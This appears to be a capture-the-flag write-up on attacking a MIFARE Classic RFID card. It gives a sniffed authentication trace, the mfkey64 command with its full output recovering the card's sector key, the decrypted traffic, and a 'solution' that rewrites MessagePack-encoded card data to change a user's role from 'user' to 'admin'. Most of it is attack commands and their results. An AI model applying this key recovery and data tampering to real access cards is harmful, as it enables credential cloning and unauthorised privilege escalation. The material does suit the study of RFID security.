tag select uid:cb d2 53 0a  atqa:0x0004 sak:0x08
RDR(1):60 08 bd f7  [1010] c[1010]
TAG(2):01 20 01 45  [0000] c[0000]
RDR(3):ab 2a af 00 a0 5e 18 02  [01110011] c[00111010]!
TAG(4):ee 02 cf 0e  [0101] c[1010]!
RDR(5):ee 4b 3d be  [0100] c[1101]!
TAG(6):4d da 95 55 f5 35 1d 2c 19 51 1e 11 ed 79 0b 2d 07 d6  [100000100100000111] c[101111100011100100]!
RDR(7):73 02 ac 16  [1010] c[0010]!

------------------------------------------------------------------------------------

syntax: ./mfkey64 <uid> <nt> <{nr}> <{ar}> <{at}> [enc] [enc...]
./mfkey64 cbd2530a 01200145 ab2aaf00 a05e1802 ee02cf0e  ee4b3dbe 4dda9555f5351d2c19511e11ed790b2d07d6 7302ac16

MIFARE Classic key recovery - based on 64 bits of keystream
Recover key from only one complete authentication!

Recovering key for:
   uid: cbd2530a
    nt: 01200145
  {nr}: ab2aaf00
  {ar}: a05e1802
  {at}: ee02cf0e
{enc0}: ee4b3dbe
{enc1}: 4dda9555f5351d2c19511e11ed790b2d07d6
{enc2}: 7302ac16

LFSR successors of the tag challenge:
  nt' : 63e5bca7
  nt'': 993730bd
Time spent in lfsr_recovery64(): 0.16 seconds

Keystream used to generate {ar} and {at}:
   ks2: c3bba4a5
   ks3: 7735ffb3

Decrypted communication:
{dec0}: 30084a24
{dec1}: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa37b5
{dec2}: 500057cd

Found Key: [181532e3b24a]

------------------------------------------------------------------------------------

1C82 A4 6E616D65 A9 41636964204275726E   A5 726F6C6573 91A4 75736572 000000
         name         Acid Burn              roles            user

1D82 A4 6E616D65 AA 4C6F7264204E696B6F6E A5 726F6C6573 91A4 75736572 0000
         name        Lord Nikon             roles             user

solution:
1D82 A4 6E616D65 A9 41636964204275726E   A5 726F6C6573 91A5 61646d696e 0000
         name         Acid Burn              roles            admin